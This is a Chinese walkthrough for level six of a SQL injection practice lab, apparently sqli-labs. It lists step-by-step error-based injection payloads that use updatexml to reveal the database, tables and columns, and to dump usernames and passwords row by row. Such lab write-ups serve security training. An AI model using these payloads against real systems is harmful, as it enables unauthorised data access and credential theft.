SQL靶场第六关

一.判断闭合点

闭合点是"

输入?id=1'页面无变化

输入?id=1"页面报错,加上--+,页面恢复正常,说明闭合点是"

二.判断列数

输入?id=1" order by 3--+页面正常

输入?id=1" order by 4--+页面异常,说明有3列

三.查询数据库

我们先判断回显点,输入?id=1" union select 1,2,3--+

发现没有回显点,我们利用报错注入

输入?id=1" and updatexml(1,concat(1,(select database())),1)--+查询到数据库为security

四.查询数据表

输入?id=1" and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

五.查询列名

输入?id=1" and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+

六.查询数据

输入?id=1" and updatexml(1,concat(1,(select group_concat(id,'~',username,'~',password) from users)),1)--+

这里我们发现数据不全,我们就需要用到limit函数

第一个数据:

输入?id=1" and updatexml(1,concat(1,(select concat(id,'~',username,'~',password) from users limit 0,1)),1)--+

第二个数据:?id=1" and updatexml(1,concat(1,(select concat(id,'~',username,'~',password) from users limit 1,1)),1)--+

。。。依次类推。。。

以上就是sql靶场第六关的通关攻略!

相关推荐
清风~徐~来7 分钟前
【视频点播系统】Redis-SDK 介绍及使用
数据库·redis·wpf
SelectDB技术团队13 分钟前
日志成本降低 83%:云上 Elasticsearch 和 SelectDB 的基准测试及成本分析
数据库·apache
全栈前端老曹19 分钟前
【Redis】Redis 客户端连接与编程实践——Python/Java/Node.js 连接 Redis、实现计数器、缓存接口
前端·数据库·redis·python·缓存·全栈
霖霖总总20 分钟前
[小技巧72]AFTER COMMIT vs AFTER SYNC:MySQL 半同步复制的持久性博弈
数据库·mysql
麦聪聊数据21 分钟前
后端研发范式演进:从对象映射(ORM)到逻辑解耦(SQL2API)
数据库·sql·架构
爱敲代码的小鱼26 分钟前
后端web开发Mysql数据库:
数据库·mysql
Franciz小测测27 分钟前
GitLab 双物理机高可用新方案(基于 Rsyncd + Keepalived+PostgreSQL 流复制)
数据库·postgresql·gitlab
野犬寒鸦30 分钟前
WebSocket协同编辑:高性能Disruptor架构揭秘及项目中的实战应用
java·开发语言·数据库·redis·后端
鸽芷咕30 分钟前
迁移即一致!金仓数据库内置数据校验能力如何支撑信创平滑替换?
数据库
TDengine (老段)40 分钟前
TDengine IDMP 基本概念
大数据·数据库·物联网·ai·时序数据库·tdengine·涛思数据